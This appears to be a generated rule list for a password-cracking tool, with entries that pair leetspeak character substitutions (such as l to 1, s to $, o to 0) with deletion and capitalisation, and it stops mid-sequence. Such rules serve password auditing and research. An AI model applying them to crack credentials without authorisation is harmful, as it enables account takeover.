-/lsl1/OsO0[:c] -/lsl1/sss$[:c] -/lsl1/sss5[:c] -/lsl1/SsS$[:c] -/lsl1/SsS5[:c] -/lsl1/tst+[:c] -/lsl1/TsT+[:c] -/lsl1/1s1![:c] -/lsl1/1s1i[:c] -/lsl1/1s1I[:c] -/lsl1/1s1|[:c] -/lsl1/0s0o[:c] -/lsl1/0s0O[:c] -/lsl1/3s3e[:c] -/lsl1/3s3E[:c] -/lsl1/4s4a[:c] -/lsl1/4s4A[:c] -/lsl1/5s5s[:c] -/lsl1/5s5S[:c] -/lsl1/7s7l[:c] -/lsl1/7s7L[:c] -/lsl1/8s8b[:c] -/lsl1/8s8B[:c] -/lsl7/asa@[:c] -/lsl7/asa4[:c] -/lsl7/AsA4[:c] -/lsl7/AsA@[:c] -/lsl7/bsb8[:c] -/lsl7/BsB8[:c] -/lsl7/ese3[:c] -/lsl7/EsE3[:c] -/lsl7/isi1[:c] -/lsl7/isi![:c] -/lsl7/isi|[:c] -/lsl7/IsI1[:c] -/lsl7/IsI![:c] -/lsl7/IsI|[:c] -/lsl7/lsl1[:c] -/lsl7/lsl|[:c] -/lsl7/lsl![:c] -/lsl7/Lsl1[:c] -/lsl7/Lsl7[:c] -/lsl7/Lsl|[:c] -/lsl7/Lsl![:c] -/lsl7/oso0[:c] -/lsl7/OsO0[:c] -/lsl7/sss$[:c] -/lsl7/sss5[:c] -/lsl7/SsS$[:c] -/lsl7/SsS5[:c] -/lsl7/tst+[:c] -/lsl7/TsT+[:c] -/lsl7/1s1![:c] -/lsl7/1s1i[:c] -/lsl7/1s1I[:c] -/lsl7/1s1|[:c] -/lsl7/0s0o[:c] -/lsl7/0s0O[:c] -/lsl7/3s3e[:c] -/lsl7/3s3E[:c] -/lsl7/4s4a[:c] -/lsl7/4s4A[:c] -/lsl7/5s5s[:c] -/lsl7/5s5S[:c] -/lsl7/7s7l[:c] -/lsl7/7s7L[:c] -/lsl7/8s8b[:c] -/lsl7/8s8B[:c] -/lsl|/asa@[:c] -/lsl|/asa4[:c] -/lsl|/AsA4[:c] -/lsl|/AsA@[:c] -/lsl|/bsb8[:c] -/lsl|/BsB8[:c] -/lsl|/ese3[:c] -/lsl|/EsE3[:c] -/lsl|/isi1[:c] -/lsl|/isi![:c] -/lsl|/isi|[:c] -/lsl|/IsI1[:c] -/lsl|/IsI![:c] -/lsl|/IsI|[:c] -/lsl|/lsl1[:c] -/lsl|/lsl7[:c] -/lsl|/lsl![:c] -/lsl|/Lsl1[:c] -/lsl|/Lsl7[:c] -/lsl|/Lsl|[:c] -/lsl|/Lsl![:c] -/lsl|/oso0[:c] -/lsl|/OsO0[:c] -/lsl|/sss$[:c] -/lsl|/sss5[:c] -/lsl|/SsS$[:c] -/lsl|/SsS5[:c] -/lsl|/tst+[:c] -/lsl|/TsT+[:c] -/lsl|/1s1![:c] -/lsl|/1s1i[:c] -/lsl|/1s1I[:c] -/lsl|/1s1|[:c] -/lsl|/0s0o[:c] -/lsl|/0s0O[:c] -/lsl|/3s3e[:c] -/lsl|/3s3E[:c] -/lsl|/4s4a[:c] -/lsl|/4s4A[:c] -/lsl|/5s5s[:c] -/lsl|/5s5S[:c] -/lsl|/7s7l[:c] -/lsl|/7s7L[:c] -/lsl|/8s8b[:c] -/lsl|/8s8B[:c] -/lsl!/asa@[:c] -/lsl!/asa4[:c] -/lsl!/AsA4[:c] -/lsl!/AsA@[:c] -/lsl!/bsb8[:c] -/lsl!/BsB8[:c] -/lsl!/ese3[:c] -/lsl!/EsE3[:c] -/lsl!/isi1[:c] -/lsl!/isi![:c] -/lsl!/isi|[:c] -/lsl!/IsI1[:c] -/lsl!/IsI![:c] -/lsl!/IsI|[:c] -/lsl!/lsl1[:c] -/lsl!/lsl7[:c] -/lsl!/lsl|[:c] -/lsl!/Lsl1[:c] -/lsl!/Lsl7[:c] -/lsl!/Lsl|[:c] -/lsl!/Lsl![:c] -/lsl!/oso0[:c] -/lsl!/OsO0[:c] -/lsl!/sss$[:c] -/lsl!/sss5[:c] -/lsl!/SsS$[:c] -/lsl!/SsS5[:c] -/lsl!/tst+[:c] -/lsl!/TsT+[:c] -/lsl!/1s1![:c] -/lsl!/1s1i[:c] -/lsl!/1s1I[:c] -/lsl!/1s1|[:c] -/lsl!/0s0o[:c] -/lsl!/0s0O[:c] -/lsl!/3s3e[:c] -/lsl!/3s3E[:c] -/lsl!/4s4a[:c] -/lsl!/4s4A[:c] -/lsl!/5s5s[:c] -/lsl!/5s5S[:c] -/lsl!/7s7l[:c] -/lsl!/7s7L[:c] -/lsl!/8s8b[:c] -/lsl!/8s8B[:c] -/Lsl1/asa@[:c] -/Lsl1/asa4[:c] -/Lsl1/AsA4[:c] -/Lsl1/AsA@[:c] -/Lsl1/bsb8[:c] -/Lsl1/BsB8[:c] -/Lsl1/ese3[:c] -/Lsl1/EsE3[:c] -/Lsl1/isi1[:c] -/Lsl1/isi![:c] -/Lsl1/isi|[:c] -/Lsl1/IsI1[:c] -/Lsl1/IsI![:c] -/Lsl1/IsI|[:c] -/Lsl1/lsl1[:c] -/Lsl1/lsl7[:c] -/Lsl1/lsl|[:c] -/Lsl1/lsl![:c] -/Lsl1/oso0[:c] -/Lsl1/OsO0[:c] -/Lsl1/sss$[:c] -/Lsl1/sss5[:c] -/Lsl1/SsS$[:c] -/Lsl1/SsS5[:c] -/Lsl1/tst+[:c] -/Lsl1/TsT+[:c] -/Lsl1/1s1![:c] -/Lsl1/1s1i[:c] -/Lsl1/1s1I[:c] -/Lsl1/1s1|[:c] -/Lsl1/0s0o[:c] -/Lsl1/0s0O[:c] -/Lsl1/3s3e[:c] -/Lsl1/3s3E[:c] -/Lsl1/4s4a[:c] -/Lsl1/4s4A[:c] -/Lsl1/5s5s[:c] -/Lsl1/5s5S[:c] -/Lsl1/7s7l[:c] -/Lsl1/7s7L[:c] -/Lsl1/8s8b[:c] -/Lsl1/8s8B[:c] -/Lsl7/asa@[:c] -/Lsl7/asa4[:c] -/Lsl7/AsA4[:c] -/Lsl7/AsA@[:c] -/Lsl7/bsb8[:c] -/Lsl7/BsB8[:c] -/Lsl7/ese3[:c] -/Lsl7/EsE3[:c] -/Lsl7/isi1[:c] -/Lsl7/isi![:c] -/Lsl7/isi|[:c] -/Lsl7/IsI1[:c] -/Lsl7/IsI![:c] -/Lsl7/IsI|[:c] -/Lsl7/lsl1[:c] -/Lsl7/lsl7[:c] -/Lsl7/lsl|[:c] -/Lsl7/lsl![:c] -/Lsl7/Lsl1[:c] -/Lsl7/Lsl|[:c] -/Lsl7/Lsl![:c] -/Lsl7/oso0[:c] -/Lsl7/OsO0[:c] -/Lsl7/sss$[:c] -/Lsl7/sss5[:c] -/Lsl7/SsS$[:c] -/Lsl7/SsS5[:c] -/Lsl7/tst+[:c] -/Lsl7/TsT+[:c] -/Lsl7/1s1![:c] -/Lsl7/1s1i[:c] -/Lsl7/1s1I[:c] -/Lsl7/1s1|[:c] -/Lsl7/0s0o[:c] -/Lsl7/0s0O[:c] -/Lsl7/3s3e[:c] -/Lsl7/3s3E[:c] -/Lsl7/4s4a[:c] -/Lsl7/4s4A[:c] -/Lsl7/5s5s[:c] -/Lsl7/5s5S[:c] -/Lsl7/7s7l[:c] -/Lsl7/7s7L[:c] -/Lsl7/8s8b[:c] -/Lsl7/8s8B[:c] -/Lsl|/asa@[:c] -/Lsl|/asa4[:c] -/Lsl|/AsA4[:c] -/Lsl|/AsA@[:c] -/Lsl|/bsb8[:c] -/Lsl|/BsB8[:c] -/Lsl|/ese3[:c] -/Lsl|/EsE3[:c] -/Lsl|/isi1[:c] -/Lsl|/isi![:c] -/Lsl|/isi|[:c] -/Lsl|/IsI1[:c] -/Lsl|/IsI![:c] -/Lsl|/IsI|[:c] -/Lsl|/lsl1[:c] -/Lsl|/lsl7[:c] -/Lsl|/lsl|[:c] -/Lsl|/lsl![:c] -/Lsl|/oso0[:c] -/Lsl|/OsO0[:c] -/Lsl|/sss$[:c] -/Lsl|/sss5[:c] -/Lsl|/SsS$[:c] -/Lsl|/SsS5[:c] -/Lsl|/tst+[:c] -/Lsl|/TsT+[:c] -/Lsl|/1s1![:c] -/Lsl|/1s1i[:c] -/Lsl|/1s1I[:c] -/Lsl|/1s1|[:c] -/Lsl|/0s0o[:c] -/Lsl|/0s0O[:c] -/Lsl|/3s3e[:c] -/Lsl|/3s3E[:c] -/Lsl|/4s4a[:c] -/Lsl|/4s4A[:c] -/Lsl|/5s5s[:c] -/Lsl|/5s5S[:c] -/Lsl|/7s7l[:c] -/Lsl|/7s7L[:c] -/Lsl|/8s8b[:c] -/Lsl|/8s8B[:c] -/Lsl!/asa@[:c] -/Lsl!/asa4[:c] -/Lsl!/AsA4[:c] -/Lsl!/AsA@[:c] -/Lsl!/bsb8[:c] -/Lsl!/BsB8[:c] -/Lsl!/ese3[:c] -/Lsl!/EsE3[:c] -/Lsl!/isi1[:c] -/Lsl!/isi![:c] -/Lsl!/isi|[:c] -/Lsl!/IsI1[:c] -/Lsl!/IsI![:c] -/Lsl!/IsI|[:c] -/Lsl!/lsl1[:c] -/Lsl!/lsl7[:c] -/Lsl!/lsl|[:c] -/Lsl!/lsl![:c] -/Lsl!/oso0[:c] -/Lsl!/OsO0[:c] -/Lsl!/sss$[:c] -/Lsl!/sss5[:c] -/Lsl!/SsS$[:c] -/Lsl!/SsS5[:c] -/Lsl!/tst+[:c] -/Lsl!/TsT+[:c] -/Lsl!/1s1![:c] -/Lsl!/1s1i[:c] -/Lsl!/1s1I[:c] -/Lsl!/1s1|[:c] -/Lsl!/0s0o[:c] -/Lsl!/0s0O[:c] -/Lsl!/3s3e[:c] -/Lsl!/3s3E[:c] -/Lsl!/4s4a[:c] -/Lsl!/4s4A[:c] -/Lsl!/5s5s[:c] -/Lsl!/5s5S[:c] -/Lsl!/7s7l[:c] -/Lsl!/7s7L[:c] -/Lsl!/8s8b[:c] -/Lsl!/8s8B[:c] -/oso0/asa@[:c] -/oso0/asa4[:c] -/oso0/AsA4[:c] -/oso0/AsA@[:c] -/oso0/bsb8[:c] -/oso0/BsB8[:c] -/oso0/ese3[:c] -/oso0/EsE3[:c] -/oso0/isi1[:c] -/oso0/isi![:c] -/oso0/isi|[:c] -/oso0/IsI1[:c] -/oso0/IsI![:c] -/oso0/IsI|[:c] -/oso0/lsl1[:c] -/oso0/lsl7[:c] -/oso0/lsl|[:c] -/oso0/lsl![:c] -/oso0/Lsl1[:c] -/oso0/Lsl7[:c] -/oso0/Lsl|[:c] -/oso0/Lsl![:c] -/oso0/OsO0[:c] -/oso0/sss$[:c] -/oso0/sss5[:c] -/oso0/SsS$[:c] -/oso0/SsS5[:c] -/oso0/tst+[:c] -/oso0/TsT+[:c] -/oso0/1s1![:c] -/oso0/1s1i[:c] -/oso0/1s1I[:c] -/oso0/1s1|[:c] -/oso0/0s0o[:c] -/oso0/0s0O[:c] -/oso0/3s3e[:c] -/oso0/3s3E[:c] -/oso0/4s4a[:c] -/oso0/4s4A[:c] -/oso0/5s5s[:c] -/oso0/5s5S[:c] -/oso0/7s7l[:c] -/oso0/7s7L[:c] -/oso0/8s8b[:c] -/oso0/8s8B[:c] -/OsO0/asa@[:c] -/OsO0/asa4[:c] -/OsO0/AsA4[:c] -/OsO0/AsA@[:c] -/OsO0/bsb8[:c] -/OsO0/BsB8[:c] -/OsO0/ese3[:c] -/OsO0/EsE3[:c] -/OsO0/isi1[:c] -/OsO0/isi![:c] -/OsO0/isi|[:c] -/OsO0/IsI1[:c] -/OsO0/IsI![:c] -/OsO0/IsI|[:c] -/OsO0/lsl1[:c] -/OsO0/lsl7[:c] -/OsO0/lsl|[:c] -/OsO0/lsl![:c] -/OsO0/Lsl1[:c] -/OsO0/Lsl7[:c] -/OsO0/Lsl|[:c] -/OsO0/Lsl![:c] -/OsO0/oso0[:c] -/OsO0/sss$[:c] -/OsO0/sss5[:c] -/OsO0/SsS$[:c] -/OsO0/SsS5[:c] -/OsO0/tst+[:c] -/OsO0/TsT+[:c] -/OsO0/1s1![:c] -/OsO0/1s1i[:c] -/OsO0/1s1I[:c] -/OsO0/1s1|[:c] -/OsO0/0s0o[:c] -/OsO0/0s0O[:c] -/OsO0/3s3e[:c] -/OsO0/3s3E[:c] -/OsO0/4s4a[:c] -/OsO0/4s4A[:c] -/OsO0/5s5s[:c] -/OsO0/5s5S[:c] -/OsO0/7s7l[:c] -/OsO0/7s7L[:c] -/OsO0/8s8b[:c] -/OsO0/8s8B[:c] -/sss$/asa@[:c] -/sss$/asa4[:c] -/sss$/AsA4[:c] -/sss$/AsA@[:c] -/sss$/bsb8[:c] -/sss$/BsB8[:c] -/sss$/ese3[:c] -/sss$/EsE3[:c] -/sss$/isi1[:c] -/sss$/isi![:c] -/sss$/isi|[:c] -/sss$/IsI1[:c] -/sss$/IsI![:c] -/sss$/IsI|[:c] -/sss$/lsl1[:c] -/sss$/lsl7[:c] -/sss$/lsl|[:c] -/sss$/lsl![:c] -/sss$/Lsl1[:c] -/sss$/Lsl7[:c] -/sss$/Lsl|[:c] -/sss$/Lsl![:c] -/sss$/oso0[:c] -/sss$/OsO0[:c] -/sss$/SsS$[:c] -/sss$/SsS5[:c] -/sss$/tst+[:c] -/sss$/TsT+[:c] -/sss$/1s1![:c] -/sss$/1s1i[:c] -/sss$/1s1I[:c] -/sss$/1s1|[:c] -/sss$/0s0o[:c] -/sss$/0s0O[:c] -/sss$/3s3e[:c] -/sss$/3s3E[:c] -/sss$/4s4a[:c] -/sss$/4s4A[:c] -/sss$/5s5s[:c] -/sss$/5s5S[:c] -/sss$/7s7l[:c] -/sss$/7s7L[:c] -/sss$/8s8b[:c] -/sss$/8s8B[:c] -/sss5/asa@[:c] -/sss5/asa4[:c] -/sss5/AsA4[:c] -/sss5/AsA@[:c] -/sss5/bsb8[:c] -/sss5/BsB8[:c] -/sss5/ese3[:c] -/sss5/EsE3[:c] -/sss5/isi1[:c] -/sss5/isi![:c] -/sss5/isi|[:c] -/sss5/IsI1[:c] -/sss5/IsI![:c] -/sss5/IsI|[:c] -/sss5/lsl1[:c] -/sss5/lsl7[:c] -/sss5/lsl|[:c] -/sss5/lsl![:c] -/sss5/Lsl1[:c] -/sss5/Lsl7[:c] -/sss5/Lsl|[:c] -/sss5/Lsl![:c] -/sss5/oso0[:c] -/sss5/OsO0[:c] -/sss5/SsS$[:c] -/sss5/SsS5[:c] -/sss5/tst+[:c] -/sss5/TsT+[:c] -/sss5/1s1![:c] -/sss5/1s1i[:c] -/sss5/1s1I[:c] -/sss5/1s1|[:c] -/sss5/0s0o[:c] -/sss5/0s0O[:c] -/sss5/3s3e[:c] -/sss5/3s3E[:c] -/sss5/4s4a[:c] -/sss5/4s4A[:c] -/sss5/5s5s[:c] -/sss5/5s5S[:c] -/sss5/7s7l[:c] -/sss5/7s7L[:c] -/sss5/8s8b[:c] -/sss5/8s8B[:c] -/SsS$/asa@[:c] -/SsS$/asa4[:c] -/SsS$/AsA4[:c] -/SsS$/AsA@[:c] -/SsS$/bsb8[:c] -/SsS$/BsB8[:c] -/SsS$/ese3[:c] -/SsS$/EsE3[:c] -/SsS$/isi1[:c] -/SsS$/isi![:c] -/SsS$/isi|[:c] -/SsS$/IsI1[:c] -/SsS$/IsI![:c] -/SsS$/IsI|[:c] -/SsS$/lsl1[:c] -/SsS$/lsl7[:c] -/SsS$/lsl|[:c] -/SsS$/lsl![:c] -/SsS$/Lsl1[:c] -/SsS$/Lsl7[:c] -/SsS$/Lsl|[:c] -/SsS$/Lsl![:c] -/SsS$/oso0[:c] -/SsS$/OsO0[:c] -/SsS$/sss$[:c] -/SsS$/sss5[:c] -/SsS$/tst+[:c] -/SsS$/TsT+[:c] -/SsS$/1s1![:c] -/SsS$/1s1i[:c] -/SsS$/1s1I[:c] -/SsS$/1s1|[:c] -/SsS$/0s0o[:c] -/SsS$/0s0O[:c] -/SsS$/3s3e[:c] -/SsS$/3s3E[:c] -/SsS$/4s4a[:c] -/SsS$/4s4A[:c] -/SsS$/5s5s[:c] -/SsS$/5s5S[:c] -/SsS$/7s7l[:c] -/SsS$/7s7L[:c] -/SsS$/8s8b[:c] -/SsS$/8s8B[:c] -/SsS5/asa@[:c] -/SsS5/asa4[:c] -/SsS5/AsA4[:c] -/SsS5/AsA@[:c] -/SsS5/bsb8[:c] -/SsS5/BsB8[:c] -/SsS5/ese3[:c] -/SsS5/EsE3[:c] -/SsS5/isi1[:c] -/SsS5/isi![:c] -/SsS5/isi|[:c] -/SsS5/IsI1[:c] -/SsS5/IsI![:c] -/SsS5/IsI|[:c] -/SsS5/lsl1[:c] -/SsS5/lsl7[:c] -/SsS5/lsl|[:c] -/SsS5/lsl![:c] -/SsS5/Lsl1[:c] -/SsS5/Lsl7[:c] -/SsS5/Lsl|[:c] -/SsS5/Lsl![:c] -/SsS5/oso0[:c] -/SsS5/OsO0[:c] -/SsS5/sss$[:c] -/SsS5/sss5[:c] -/SsS5/tst+[:c] -/SsS5/TsT+[:c] -/SsS5/1s1![:c] -/SsS5/1s1i[:c] -/SsS5/1s1I[:c] -/SsS5/1s1|[:c] -/SsS5/0s0o[:c] -/SsS5/0s0O[:c] -/SsS5/3s3e[:c] -/SsS5/3s3E[:c] -/SsS5/4s4a[:c] -/SsS5/4s4A[:c] -/SsS5/5s5s[:c] -/SsS5/5s5S[:c] -/SsS5/7s7l[:c] -/SsS5/7s7L[:c] -/SsS5/8s8b[:c] -/SsS5/8s8B[:c] -/tst+/asa@[:c] -/tst+/asa4[:c] -/tst+/AsA4[:c] -/tst+/AsA@[:c] -/tst+/bsb8[:c] -/tst+/BsB8[:c] -/tst+/ese3[:c] -/tst+/EsE3[:c] -/tst+/isi1[:c] -/tst+/isi![:c] -/tst+/isi|[:c] -/tst+/IsI1[:c] -/tst+/IsI![:c] -/tst+/IsI|[:c] -/tst+/lsl1[:c] -/tst+/lsl7[:c] -/tst+/lsl|[:c] -/tst+/lsl![:c] -/tst+/Lsl1[:c] -/tst+/Lsl7[:c] -/tst+/Lsl|[:c] -/tst+/Lsl![:c] -/tst+/oso0[:c] -/tst+/OsO0[:c] -/tst+/sss$[:c] -/tst+/sss5[:c] -/tst+/SsS$[:c] -/tst+/SsS5[:c] -/tst+/TsT+[:c] -/tst+/1s1![:c] -/tst+/1s1i[:c] -/tst+/1s1I[:c] -/tst+/1s1|[:c] -/tst+/0s0o[:c] -/tst+/0s0O[:c] -/tst+/3s3e[:c] -/tst+/3s3E[:c] -/tst+/4s4a[:c] -/tst+/4s4A[:c] -/tst+/5s5s[:c] -/tst+/5s5S[:c] -/tst+/7s7l[:c] -/tst+/7s7L[:c] -/tst+/8s8b[:c] -/tst+/8s8B[:c] -/TsT+/asa@[:c] -/TsT+/asa4[:c] -/TsT+/AsA4[:c] -/TsT+/AsA@[:c] -/TsT+/bsb8[:c] -/TsT+/BsB8[:c] -/TsT+/ese3[:c] -/TsT+/EsE3[:c] -/TsT+/isi1[:c] -/TsT+/isi![:c] -/TsT+/isi|[:c] -/TsT+/IsI1[:c] -/TsT+/IsI![:c] -/TsT+/IsI|[:c] -/TsT+/lsl1[:c] -/TsT+/lsl7[:c] -/TsT+/lsl|[:c] -/TsT+/lsl![:c] -/TsT+/Lsl1[:c] -/TsT+/Lsl7[:c] -/TsT+/Lsl|[:c] -/TsT+/Lsl![:c] -/TsT+/oso0[:c] -/TsT+/OsO0[:c] -/TsT+/sss$[:c] -/TsT+/sss5[:c] -/TsT+/SsS$[:c] -/TsT+/SsS5[:c] -/TsT+/tst+[:c] -/TsT+/1s1![:c] -/TsT+/1s1i[:c] -/TsT+/1s1I[:c] -/TsT+/1s1|[:c] -/TsT+/0s0o[:c] -/TsT+/0s0O[:c] -/TsT+/3s3e[:c] -/TsT+/3s3E[:c] -/TsT+/4s4a[:c] -/TsT+/4s4A[:c] -/TsT+/5s5s[:c] -/TsT+/5s5S[:c] -/TsT+/7s7l[:c] -/TsT+/7s7L[:c] -/TsT+/8s8b[:c] -/TsT+/8s8B[:c] -/1s1!/asa@[:c] -/1s1!/asa4[:c] -/1s1!/AsA4[:c] -/1s1!/AsA@[:c] -/1s1!/bsb8[:c] -/1s1!/BsB8[:c] -/1s1!/ese3[:c] -/1s1!/EsE3[:c] -/1s1!/isi1[:c] -/1s1!/isi![:c] -/1s1!/isi|[:c] -/1s1!/IsI1[:c] -/1s1!/IsI![:c] -/1s1!/IsI|[:c] -/1s1!/lsl1[:c] -/1s1!/lsl7[:c] -/1s1!/lsl|[:c] -/1s1!/lsl![:c] -/1s1!/Lsl1[:c] -/1s1!/Lsl7[:c] -/1s1!/Lsl|[:c] -/1s1!/Lsl![:c] -/1s1!/oso0[:c] -/1s1!/OsO0[:c] -/1s1!/sss$[:c] -/1s1!/sss5[:c] -/1s1!/SsS$[:c] -/1s1!/SsS5[:c] -/1s1!/tst+[:c] -/1s1!/TsT+[:c] -/1s1!/0s0o[:c] -/1s1!/0s0O[:c] -/1s1!/3s3e[:c] -/1s1!/3s3E[:c] -/1s1!/4s4a[:c] -/1s1!/4s4A[:c] -/1s1!/5s5s[:c] -/1s1!/5s5S[:c] -/1s1!/7s7l[:c] -/1s1!/7s7L[:c] -/1s1!/8s8b[:c] -/1s1!/8s8B[:c] -/1s1i/asa@[:c] -/1s1i/asa4[:c] -/1s1i/AsA4[:c] -/1s1i/AsA@[:c] -/1s1i/bsb8[:c] -/1s1i/BsB8[:c] -/1s1i/ese3[:c] -/1s1i/EsE3[:c] -/1s1i/isi1[:c] -/1s1i/isi![:c] -/1s1i/isi|[:c] -/1s1i/IsI1[:c] -/1s1i/IsI![:c] -/1s1i/IsI|[:c] -/1s1i/lsl1[:c] -/1s1i/lsl7[:c] -/1s1i/lsl|[:c] -/1s1i/lsl![:c] -/1s1i/Lsl1[:c] -/1s1i/Lsl7[:c] -/1s1i/Lsl|[:c] -/1s1i/Lsl![:c] -/1s1i/oso0[:c] -/1s1i/OsO0[:c] -/1s1i/sss$[:c] -/1s1i/sss5[:c] -/1s1i/SsS$[:c] -/1s1i/SsS5[:c] -/1s1i/tst+[:c] -/1s1i/TsT+[:c] -/1s1i/0s0o[:c] -/1s1i/0s0O[:c] -/1s1i/3s3e[:c] -/1s1i/3s3E[:c] -/1s1i/4s4a[:c] -/1s1i/4s4A[:c] -/1s1i/5s5s[:c] -/1s1i/5s5S[:c] -/1s1i/7s7l[:c] -/1s1i/7s7L[:c] -/1s1i/8s8b[:c] -/1s1i/8s8B[:c] -/1s1I/asa@[:c] -/1s1I/asa4[:c] -/1s1I/AsA4[:c] -/1s1I/AsA@[:c] -/1s1I/bsb8[:c] -/1s1I/BsB8[:c] -/1s1I/ese3[:c] -/1s1I/EsE3[:c] -/1s1I/isi1[:c] -/1s1I/isi![:c] -/1s1I/isi|[:c] -/1s1I/IsI1[:c] -/1s1I/IsI![:c] -/1s1I/IsI|[:c] -/1s1I/lsl1[:c] -/1s1I/lsl7[:c] -/1s1I/lsl|[:c] -/1s1I/lsl![:c] -/1s1I/Lsl1[:c] -/1s1I/Lsl7[:c] -/1s1I/Lsl|[:c] -/1s1I/Lsl![:c] -/1s1I/oso0[:c] -/1s1I/OsO0[:c] -/1s1I/sss$[:c] -/1s1I/sss5[:c] -/1s1I/SsS$[:c] -/1s1I/SsS5[:c] -/1s1I/tst+[:c] -/1s1I/TsT+[:c] -/1s1I/1s1![:c] -/1s1I/1s1i[:c] -/1s1I/1s1|[:c] -/1s1I/0s0o[:c] -/1s1I/0s0O[:c] -/1s1I/3s3e[:c] -/1s1I/3s3E[:c] -/1s1I/4s4a[:c] -/1s1I/4s4A[:c] -/1s1I/5s5s[:c] -/1s1I/5s5S[:c] -/1s1I/7s7l[:c] -/1s1I/7s7L[:c] -/1s1I/8s8b[:c] -/1s1I/8s8B[:c] -/1s1|/asa@[:c] -/1s1|/asa4[:c] -/1s1|/AsA4[:c] -/1s1|/AsA@[:c] -/1s1|/bsb8[:c] -/1s1|/BsB8[:c] -/1s1|/ese3[:c] -/1s1|/EsE3[:c] -/1s1|/isi1[:c] -/1s1|/isi![:c] -/1s1|/isi|[:c] -/1s1|/IsI1[:c] -/1s1|/IsI![:c] -/1s1|/IsI|[:c] -/1s1|/lsl1[:c] -/1s1|/lsl7[:c] -/1s1|/lsl|[:c] -/1s1|/lsl![:c] -/1s1|/Lsl1[:c] -/1s1|/Lsl7[:c] -/1s1|/Lsl|[:c] -/1s1|/Lsl![:c] -/1s1|/oso0[:c] -/1s1|/OsO0[:c] -/1s1|/sss$[:c] -/1s1|/sss5[:c] -/1s1|/SsS$[:c] -/1s1|/SsS5[:c] -/1s1|/tst+[:c] -/1s1|/TsT+[:c] -/1s1|/1s1![:c] -/1s1|/1s1i[:c] -/1s1|/1s1I[:c] -/1s1|/0s0o[:c] -/1s1|/0s0O[:c] -/1s1|/3s3e[:c] -/1s1|/3s3E[:c] -/1s1|/4s4a[:c] -/1s1|/4s4A[:c] -/1s1|/5s5s[:c] -/1s1|/5s5S[:c] -/1s1|/7s7l[:c] -/1s1|/7s7L[:c] -/1s1|/8s8b[:c] -/1s1|/8s8B[:c] -/0s0o/asa@[:c] -/0s0o/asa4[:c] -/0s0o/AsA4[:c] -/0s0o/AsA@[:c] -/0s0o/bsb8[:c] -/0s0o/BsB8[:c] -/0s0o/ese3[:c] -/0s0o/EsE3[:c] -/0s0o/isi1[:c] -/0s0o/isi![:c] -/0s0o/isi|[:c] -/0s0o/IsI1[:c] -/0s0o/IsI![:c] -/0s0o/IsI|[:c] -/0s0o/lsl1[:c] -/0s0o/lsl7[:c] -/0s0o/lsl|[:c] -/0s0o/lsl![:c] -/0s0o/Lsl1[:c] -/0s0o/Lsl7[:c] -/0s0o/Lsl|[:c] -/0s0o/Lsl![:c] -/0s0o/oso0[:c] -/0s0o/OsO0[:c] -/0s0o/sss$[:c] -/0s0o/sss5[:c] -/0s0o/SsS$[:c] -/0s0o/SsS5[:c] -/0s0o/tst+[:c] -/0s0o/TsT+[:c] -/0s0o/1s1![:c] -/0s0o/1s1i[:c] -/0s0o/1s1I[:c] -/0s0o/1s1|[:c] -/0s0o/3s3e[:c] -/0s0o/3s3E[:c] -/0s0o/4s4a[:c] -/0s0o/4s4A[:c] -/0s0o/5s5s[:c] -/0s0o/5s5S[:c] -/0s0o/7s7l[:c] -/0s0o/7s7L[:c] -/0s0o/8s8b[:c] -/0s0o/8s8B[:c] -/0s0O/asa@[:c] -/0s0O/asa4[:c] -/0s0O/AsA4[:c] -/0s0O/AsA@[:c] -/0s0O/bsb8[:c] -/0s0O/BsB8[:c] -/0s0O/ese3[:c] -/0s0O/EsE3[:c] -/0s0O/isi1[:c] -/0s0O/isi![:c] -/0s0O/isi|[:c] -/0s0O/IsI1[:c] -/0s0O/IsI![:c] -/0s0O/IsI|[:c] -/0s0O/lsl1[:c] -/0s0O/lsl7[:c] -/0s0O/lsl|[:c] -/0s0O/lsl![:c] -/0s0O/Lsl1[:c] -/0s0O/Lsl7[:c] -/0s0O/Lsl|[:c] -/0s0O/Lsl![:c] -/0s0O/oso0[:c] -/0s0O/OsO0[:c] -/0s0O/sss$[:c] -/0s0O/sss5[:c] -/0s0O/SsS$[:c] -/0s0O/SsS5[:c] -/0s0O/tst+[:c] -/0s0O/TsT+[:c] -/0s0O/1s1![:c] -/0s0O/1s1i[:c] -/0s0O/1s1I[:c] -/0s0O/1s1|[:c] -/0s0O/3s3e[:c] -/0s0O/3s3E[:c] -/0s0O/4s4a[:c] -/0s0O/4s4A[:c] -/0s0O/5s5s[:c] -/0s0O/5s5S[:c] -/0s0O/7s7l[:c] -/0s0O/7s7L[:c] -/0s0O/8s8b[:c] -/0s0O/8s8B[:c] -/3s3e/asa@[:c] -/3s3e/asa4[:c] -/3s3e/AsA4[:c] -/3s3e/AsA@[:c] -/3s3e/bsb8[:c] -/3s3e/BsB8[:c] -/3s3e/ese3[:c] -/3s3e/EsE3[:c] -/3s3e/isi1[:c] -/3s3e/isi![:c] -/3s3e/isi|[:c] -/3s3e/IsI1[:c] -/3s3e/IsI![:c] -/3s3e/IsI|[:c] -/3s3e/lsl1[:c] -/3s3e/lsl7[:c] -/3s3e/lsl|[:c] -/3s3e/lsl![:c] -/3s3e/Lsl1[:c] -/3s3e/Lsl7[:c] -/3s3e/Lsl|[:c] -/3s3e/Lsl![:c] -/3s3e/oso0[:c] -/3s3e/OsO0[:c] -/3s3e/sss$[:c] -/3s3e/sss5[:c] -/3s3e/SsS$[:c] -/3s3e/SsS5[:c] -/3s3e/tst+[:c] -/3s3e/TsT+[:c] -/3s3e/1s1![:c] -/3s3e/1s1i[:c] -/3s3e/1s1I[:c] -/3s3e/1s1|[:c] -/3s3e/0s0o[:c] -/3s3e/0s0O[:c] -/3s3e/4s4a[:c] -/3s3e/4s4A[:c] -/3s3e/5s5s[:c] -/3s3e/5s5S[:c] -/3s3e/7s7l[:c] -/3s3e/7s7L[:c] -/3s3e/8s8b[:c] -/3s3e/8s8B[:c] -/3s3E/asa@[:c] -/3s3E/asa4[:c] -/3s3E/AsA4[:c] -/3s3E/AsA@[:c] -/3s3E/bsb8[:c] -/3s3E/BsB8[:c] -/3s3E/ese3[:c] -/3s3E/EsE3[:c] -/3s3E/isi1[:c] -/3s3E/isi![:c] -/3s3E/isi|[:c] -/3s3E/IsI1[:c] -/3s3E/IsI![:c] -/3s3E/IsI|[:c] -/3s3E/lsl1[:c] -/3s3E/lsl7[:c] -/3s3E/lsl|[:c] -/3s3E/lsl![:c] -/3s3E/Lsl1[:c] -/3s3E/Lsl7[:c] -/3s3E/Lsl|[:c] -/3s3E/Lsl![:c] -/3s3E/oso0[:c] -/3s3E/OsO0[:c] -/3s3E/sss$[:c] -/3s3E/sss5[:c] 